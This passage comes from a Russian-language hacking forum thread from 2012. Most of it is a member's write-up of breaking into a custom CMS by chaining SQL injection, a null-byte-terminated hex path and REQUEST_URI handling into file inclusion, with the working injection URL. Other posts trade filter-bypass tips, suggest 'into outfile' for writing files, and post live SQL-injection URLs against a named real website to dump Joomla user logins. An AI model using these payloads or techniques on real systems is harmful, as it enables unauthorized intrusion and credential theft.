Старый 04.09.2012, 22:09   #2351
Untitled
 
Аватар для Untitled
 
Регистрация: 24.06.2012
Сообщений: 131
Репутация: 30
По умолчанию

Натолкнулся недавно на бэкапы, сделанные duplicity. Желания возиться с самим duplicity не было. Файлы обычно выглядят так:
Код:
duplicity-full.20120827T065559Z.vol1.difftar.gpg
duplicity-inc.20120828T013442Z.to.20120829T013431Z.vol1.difftar.gpg
Из названия видно, первый - полный бэкап, второй - инкрементный. Интересует обычно первый. Win-пользователи скачивают Cryptophane или аналоги, открываем им *.gpg файл, вводим passphrase (обычно берется из конфига скрипта бэкапа). Получаем *.tar архив, открываем. Внутри две папки: ./snapshot и ./multivol_snapshot. Опять же, я не знаю точного принципа работы, но судя по всему, файлы <65КБ улетают в ./snapshot, остальные режутся на части по 65КБ и улетают в ./multivol_snapshot/filename/. Если нужен файл из multivol_snapshot, просто склеиваем части из каталога любой утилитой.
Untitled вне форума   Ответить с цитированием
Старый 06.09.2012, 23:25   #2352
Untitled
 
Аватар для Untitled
 
Регистрация: 24.06.2012
Сообщений: 131
Репутация: 30
По умолчанию

Так, заметка. Cамописная ноунейм-CMS, через SQLi в забытом скрипте вытащил логин/хеш и получил доступ к админке, которую и начал изучать. Никаких шаблонов и возможности вставки своего кода, из заливки файлов - только закачка изображений. Само содержимое картинок никак не проверялось, конечный файл имел расширение .jpg вне зависимости от mime-type или исходного файла, то есть код примерно такой:
PHP код:
$imageName $POST['ID']."_photo_".$num.".jpg" 
Нулл-байт бы успешно отработал, если бы не magic quotes. Очевидных LFI я не нашел, так что нужны были сорцы. Хостинг-соседей практически не было, так что двинул в гугл за поиском подобной CMS. Через некоторое время я залился на другом сервере на блог, соседний с искомым движком. Права были расставлены криво (мешал только open_basedir), так что я начал изучать исходники.
Что нашлось интересного в /admin:

PHP код:
    $uri=$_SERVER["REQUEST_URI"];
    
$uri=substr(trim($uri),1);
    
$subs=explode("/"$uri);
    
$val0=$subs[0];
    
$val1=$subs[1];
    
#...

    
$result=mysql_query("SELECT * FROM AdminMenu WHERE URL LIKE '$val1'");
    
$total=mysql_numrows($result);
    if(
$total!=0){
        
$rsc=mysql_fetch_array($result);
        
$url=$rsc['URL'];
        include(
$url."/index.php");
    }else{
        include(
"init.php");
    } 
И .htaccess:
Код:
RewriteBase /admin
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*) /admin/index.php
То есть, переходя по /admin/editor/, в БД проверялось, есть ли URL==editor и в случае положительного результата, инклудился /editor/index.php

Сразу напрашивается воспользоваться LFI через SQLi. Через UNION в нужное поле подставляем произвольный файл, добавив сверху нулл-байт. Так как $val1 берется не напрямую из $_GET, а из $_SERVER["REQUEST_URI"], можно обойти magic quotes. Но REQUEST_URI не проходит urldecode, так что запрос надо собирать без пробелов, а путь завернуть в HEX, добавив в конце \x00. Получаем:
Код:
SELECT * FROM AdminMenu WHERE URL LIKE 'abc'AND(1=2)UNION(SELECT(1),2,3,0x2f706963732f313931345f70686f746f5f30322e6a706700)#'
Делаем GET, минуя urlencode:
Код:
/admin/abc'AND(1=2)UNION(SELECT(1),2,3,0x2f706963732f313931345f70686f746f5f30322e6a706700)#/
SQL-запрос проходит, /index.php отрезается - успешный инклуд.
Untitled вне форума   Ответить с цитированием
Старый 07.09.2012, 17:04   #2353
16bit
 
Регистрация: 16.06.2011
Сообщений: 66
Репутация: 9
По умолчанию

читать интересно.

жаль,что подобный текст затеряется в этом топике.

его отдельно было бы неплохо оформить.
16bit вне форума   Ответить с цитированием
Старый 08.09.2012, 13:27   #2354
Untitled
 
Аватар для Untitled
 
Регистрация: 24.06.2012
Сообщений: 131
Репутация: 30
По умолчанию

Цитата:
Сообщение от 16bit Посмотреть сообщение
читать интересно.

жаль,что подобный текст затеряется в этом топике.

его отдельно было бы неплохо оформить.
Цитата:
Сообщение от Pashkela
молодец, зачем в этом топике? Создал бы отдельную тему
На отдельную статью не тянет, поэтому не стал постить новый топ. Может, создать некий аналог темы "Шпаргалка" для подобного?
Untitled вне форума   Ответить с цитированием
Старый 09.09.2012, 00:28   #2355
M@ZAX@KEP
 
Аватар для M@ZAX@KEP
 
Регистрация: 24.07.2010
Сообщений: 139
Репутация: 5
По умолчанию

На статью может и нет, но для хорошей заметки тему создать не грех. Ну или в самой шпаргалке отпостить.
M@ZAX@KEP вне форума   Ответить с цитированием
Старый 12.09.2012, 16:03   #2356
teazer
 
Регистрация: 06.09.2012
Сообщений: 5
Репутация: 0
По умолчанию

Имеется sql inj.
Веб сервер лайтспид.
Фильтрует (), элементарно нельзя вывести version().
Скуля крутится table_name from blablabla, все как бы хорошо но надо выполнить load_file(). Есть методы обхода?
Например, для обхода фильтрации иньектов /*!bla*/ отлично подходит, под LFI ./.././../ и т.д. Может кто сталкивался?
p.s. POST не проходит.
teazer вне форума   Ответить с цитированием
Старый 12.09.2012, 17:03   #2357
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Сообщение от teazer Посмотреть сообщение
Имеется sql inj.
Веб сервер лайтспид.
Фильтрует (), элементарно нельзя вывести version().
Скуля крутится table_name from blablabla, все как бы хорошо но надо выполнить load_file(). Есть методы обхода?
Например, для обхода фильтрации иньектов /*!bla*/ отлично подходит, под LFI ./.././../ и т.д. Может кто сталкивался?
p.s. POST не проходит.
если безусловно фильтруются ( и ) независимо друг от друга, то ничего не посоветуешь для мускуля.
но проще записать файл через into outfile - не требует функций, и сделать из него все уже.
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 14.09.2012, 10:39   #2358
Flakt
 
Аватар для Flakt
 
Регистрация: 18.02.2011
Сообщений: 90
Репутация: 0
По умолчанию

Раскручиваю blind SQLi в Joomla, столнулся с проблемой, что не удается вывести username и password из таблица jos_users.
Такая таблица точно есть и база одна.

_http://www.slavia.ee/index.php?option=com_blog_calendar&year=2012&month =09&day=06&modid=388'
Flakt вне форума   Ответить с цитированием
Старый 14.09.2012, 12:02   #2359
teazer
 
Регистрация: 06.09.2012
Сообщений: 5
Репутация: 0
По умолчанию

Flakt А сюдой не проще крутить?
_http://www.slavia.ee/index.php?option=com_idoblog&task=profile&Itemid=2 31&userid=3744+and+1=2+union+select+1,2,3+--+
teazer вне форума   Ответить с цитированием
Старый 14.09.2012, 12:39   #2360
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

Цитата:
Сообщение от Flakt Посмотреть сообщение
Раскручиваю blind SQLi в Joomla, столнулся с проблемой, что не удается вывести username и password из таблица jos_users.
Такая таблица точно есть и база одна.

_http://www.slavia.ee/index.php?option=com_blog_calendar&year=2012&month =09&day=06&modid=388'
А как ты узнал что там скуль? Сканеры наверное?
__________________
------------------
Jokester вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot